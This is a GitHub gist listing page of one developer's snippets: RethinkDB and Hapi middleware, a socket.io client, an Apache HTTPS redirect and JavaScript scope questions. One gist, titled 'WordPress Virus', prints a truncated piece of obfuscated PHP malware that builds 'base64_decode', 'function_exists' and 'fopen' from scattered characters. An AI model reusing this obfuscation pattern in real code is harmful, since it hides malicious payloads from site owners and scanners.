Skip to content

Instantly share code, notes, and snippets.

View CaptainYarb's full-sized avatar
🎮
Creating Multiplayer Servers

Jonathan Yarbor CaptainYarb

🎮
Creating Multiplayer Servers
View GitHub Profile
@CaptainYarb
CaptainYarb / r-auto-connect.js
Created February 6, 2015 03:18
RethinkDB Auto Connect: Express Middleware
module.exports = function(app){
app.express.use(function(req, res, next){
// initialise rethink connection
if(!app.rethinkdb){
return next();
}
app.rethinkdb.connect(function(err, r, conn, rethinkNext){
if(err){
return res.error('DB Error', err).end();
}
@CaptainYarb
CaptainYarb / links.json
Last active August 29, 2015 14:08
JSON Versioning
@CaptainYarb
CaptainYarb / validate.js
Created October 24, 2014 15:56
Hapi - "custom" input error
var returnData = app.hapi.error.badRequest(err, data);
returnData.output.payload.validation = {
source: inputType || 'payload',
keys: [inputName]
}
@CaptainYarb
CaptainYarb / decoded.php
Last active August 29, 2015 14:07
WordPress Virus
$lc_____y='4';$is_______e='_';$oo______________o='6';$wr________o='o';$sy____u='e';$nm______z='e';$qc__________c='d';$cu___s='a';$ro_________a='e';$sg_________o='c';$vp___w='s';$mq_______c='b';$fz__________t='d';$zj______________n=$mq_______c.$cu___s.$vp___w.$ro_________a.$oo______________o.$lc_____y.$is_______e.$qc__________c.$sy____u.$sg_________o.$wr________o.$fz__________t.$nm______z;
$co__________i='i';$uw______f='t';$lt_____p='u';$vu______b='n';$jg_____v='_';$fj___________b='c';$lf__r='i';$fp_____________q='s';$is______________o='x';$lj_____________b='o';$gq_______________n='t';$wz___________w='f';$nk_________j='n';$gd_____u='s';$an_______v='e';$ns___________f=$wz___________w.$lt_____p.$vu______b.$fj___________b.$gq_______________n.$lf__r.$lj_____________b.$nk_________j.$jg_____v.$an_______v.$is______________o.$co__________i.$fp_____________q.$uw______f.$gd_____u;
$am__h='f';$qu______p='e';$qh___e='o';$dg__f='p';$yf_____________v='n';$np__z=$am__h.$qh___e.$dg__f.$qu______p.$yf_____________v;
$ca________
@CaptainYarb
CaptainYarb / gist:f62ab3f1284880216296
Created October 4, 2014 02:35
socket.io client example
<!DOCTYPE html>
<html>
<head>
<title>Test</title>
<script src="assets/js/libs/socket.io.js"></script>
<script>
var socket = io('ws://192.99.96.102:8000'),
connected = false,
authenticated = false;
@CaptainYarb
CaptainYarb / gist:47b25db974b3233a6f90
Created May 27, 2014 18:30
Redirect to HTTPS for non static content
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteCond %{REQUEST_FILENAME} \.(gif|jpe?g|png|js|css|swf|ico|txt|pdf|xml)$ [OR]
RewriteRule ^(.*)$ https://getnodecraft.net/$1 [L]
@CaptainYarb
CaptainYarb / gist:6236d602d60b19f01957
Last active August 29, 2015 14:01
Rethinkdb Count and Query
r.expr({
rows: r.table('stuff').coerceTo('array'),
count: r.table('stuff').count()
});
var util = require('util'),
EventEmitter = require('events').EventEmitter;
var Server = function() {
var self = this;
this.on('custom_event', function() {
self.logSomething('custom_event');
});
@CaptainYarb
CaptainYarb / gist:9258881
Created February 27, 2014 20:29
The real thing
// assume express and all that goodness (I actually am using Kraken)
// my middleware class
var userModel = function(userID){
return {
uid: userID,
logout: function(){
this.uid=false;
// how can I access req?
req.session.destroy(function(){
@CaptainYarb
CaptainYarb / gist:9258673
Last active August 29, 2015 13:56
Scope question
var myVar = {bar:'foo'};
myVar.someClass = function(){
return {
foo: 'bar',
someFunction: function(){
console.log( this.foo ); // returns 'bar'
// can we get myVar.bar here?
}
}